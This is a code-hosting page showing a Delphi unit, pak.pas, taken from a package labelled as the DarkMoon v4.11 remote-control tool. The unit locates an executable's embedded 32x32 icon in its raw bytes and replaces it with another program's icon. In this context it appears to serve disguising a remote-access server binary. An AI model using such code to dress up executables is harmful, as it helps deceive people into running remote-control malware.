⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pak.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
字号:
{
   Copyright 2003-2004 by Sima Huapeng 
   smhp@163.net
}
unit Pak;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, shellApi;

type
  TexePak = class(TComponent)
  private
    fSourceFile: string;
    fDestFile: string;
    fOutFile: String;
    
    procedure SetSourceFile(const Value: string);
    procedure SetDestFile(const Value: string);
    procedure SetOutFile(const Value: string);
  protected

  public
    constructor Create(AOwner: TComponent); reintroduce;
    destructor Destroy; override;

    function ExchangeExeIcon:Boolean;

    property SourceFile: string read fSourceFile write SetSourceFile;
    property DestFile: string read fDestFile write SetDestFile;
    property OutFile: string read fOutFile write SetOutFile;
  published

  end;

implementation

constructor TexePak.Create(AOwner: TComponent);
begin
   inherited Create(AOwner);
end;

destructor TexePak.Destroy;
begin
  inherited;
end;

function TexePak.ExchangeExeIcon():Boolean;
const
    readlen=10;                     //每次读取字节数,可改变
    icolen=766;                     //32*32图标长度,根据研究前126为图标头,后640为图标数据
var
    i,j,itemp,nPos:int64;           // nPos为目的图标在目的文件的位置
    ci,cj:array[0..readlen-1] of char;
    bOK:boolean;
    SourceIcon,DestIcon:TIcon;
    SIconStream,s,sDest:TMemoryStream;
begin
    Result:=False;
    bOK:=false;
    if ExtractIcon(0,PChar(fSourceFile),UINT(-1))=0 then exit;
    SourceIcon:=TIcon.Create;
    try
        try
            SourceIcon.Handle:=ExtractIcon(0,PChar(fSourceFile),0);      //选择第一个图标
            if ExtractIcon(0,PChar(fDestFile),UINT(-1))=0 then exit;
            DestIcon:=TIcon.Create;
            try
                DestIcon.Handle:=ExtractIcon(0,PChar(fDestFile),0);//选择第一个图标
                SIconStream:=TMemoryStream.Create;
                try
                  DestIcon.SaveToStream(sIconStream);
                  SDest:=TMemoryStream.Create;
                  try
                    sDest.LoadFromFile(fDestFile);
                    i:=0;j:=0;   //以下程序查找目的图标在目的程序中的位置
                    while  i<sDest.size do
                    begin
                         itemp:=i;
                         j:=126;
                         ci:='';cj:='';
                         while (String(ci)=String(cj)) and (i<SDest.size) and (j<icolen) do
                         begin
                                  i:=i+readlen;
                                  j:=j+readlen;
                                  SDest.Position:=i;
                                  SDest.read(ci,readlen);
                                  SiconStream.Position:=j;
                                  SiconStream.Read(cj,readlen);
                         end;
                         if j<icolen then
                              i:=itemp+1  //&#27809;&#25214;&#21040;
                         else
                         begin
                             nPos:=itemp;  //&#25214;&#21040;
                             bOK:=true;
                             break;
                         end;
                    end;
                    if bOK=false then exit;//&#30446;&#26631;&#25991;&#20214;&#20108;&#36827;&#21046;&#30721;&#20013;&#26410;&#25214;&#21040;&#22270;&#26631;
                    SIconStream.Clear;//&#23558;&#28304;&#31243;&#24207;&#22270;&#26631;&#23384;&#20837;
                    SourceIcon.SaveToStream(SIconStream);
                    SIconStream.position:=126;
                    s:=TMemoryStream.Create;
                    try
                        sDest.Position:=0;
                        s.CopyFrom(sDest,nPos);//&#23558;&#30446;&#30340;&#31243;&#24207;&#22270;&#26631;&#21069;&#25968;&#25454;&#25335;&#20837;
                        s.CopyFrom(SIconStream,640); //&#23558;&#28304;&#31243;&#24207;&#22270;&#26631;&#25335;&#20837;
                        if sDest.size>sDest.Position+640 then //&#23558;&#30446;&#30340;&#31243;&#24207;&#21097;&#20313;&#25968;&#25454;&#25335;&#20837;
                        begin
                             sDest.Position:=sDest.Position+640;
                             s.CopyFrom(sDest,sDest.Size-sDest.Position);
                        end;
                        s.SaveToFile(fOutFile);   //&#25913;&#36896;&#22909;&#30340;&#31243;&#24207;&#23384;&#25918;&#22312;OutFile&#25991;&#20214;&#20013;
                    finally
                        S.Free;
                    end;
                  finally
                    sDest.Free;
                  end;
                finally
                  SIconStream.Free;
                end;
            finally
                DestIcon.Free;
            end;
        finally
            SourceIcon.Free;
        end;
    except
        Result:=False;
        Exit;
    end;
    Result:=True;
end;

procedure TexePak.SetDestFile(const Value: string);
begin
  fDestFile := value;
end;

procedure TexePak.SetOutFile(const Value: string);
begin
  fOutFile := Value;
end;

procedure TexePak.SetSourceFile(const Value: string);
begin
  fSourceFile := Value;
end;

end.
  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -